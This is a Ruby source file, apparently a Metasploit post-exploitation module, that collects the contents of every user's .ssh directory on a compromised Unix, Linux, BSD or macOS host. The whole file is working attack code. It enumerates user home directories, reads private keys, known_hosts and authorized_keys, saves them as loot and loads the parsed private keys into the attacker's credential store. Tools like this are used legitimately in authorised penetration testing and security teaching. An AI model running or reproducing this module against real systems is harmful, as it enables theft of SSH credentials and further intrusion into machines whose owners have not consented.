87 lines
2.5 KiB
Ruby
87 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'sshkey'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Unix
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def initialize(info={})
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super( update_info(info,
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'Name' => 'Multi Gather OpenSSH PKI Credentials Collection',
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'Description' => %q{
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This module will collect the contents of all users' .ssh directories on the targeted
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machine. Additionally, known_hosts and authorized_keys and any other files are also
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downloaded. This module is largely based on firefox_creds.rb.
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},
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'License' => MSF_LICENSE,
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'Author' => ['Jim Halfpenny'],
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'Platform' => %w{ bsd linux osx unix },
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'SessionTypes' => ['meterpreter', 'shell' ]
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))
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end
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def run
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print_status("Finding .ssh directories")
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paths = enum_user_directories.map {|d| d + "/.ssh"}
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# Array#select! is only in 1.9
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paths = paths.select { |d| directory?(d) }
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if paths.nil? or paths.empty?
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print_error("No users found with a .ssh directory")
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return
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end
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download_loot(paths)
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end
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def download_loot(paths)
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print_status("Looting #{paths.count} directories")
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paths.each do |path|
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path.chomp!
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if session.type == "meterpreter"
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sep = session.fs.file.separator
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files = session.fs.dir.entries(path)
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else
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# Guess, but it's probably right
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sep = "/"
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files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
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end
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path_array = path.split(sep)
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path_array.pop
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user = path_array.pop
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files.each do |file|
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next if [".", ".."].include?(file)
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data = read_file("#{path}#{sep}#{file}")
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file = file.split(sep).last
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loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
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print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
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begin
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key = SSHKey.new(data, :passphrase => "")
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credential_data = {
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origin_type: :session,
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session_id: session_db_id,
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post_reference_name: self.refname,
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private_type: :ssh_key,
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private_data: key.key_object.to_s,
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username: user,
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workspace_id: myworkspace_id
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}
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create_credential(credential_data)
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rescue OpenSSL::OpenSSLError => e
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print_error("Could not load SSH Key: #{e.message}")
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end
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end
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end
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end
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end
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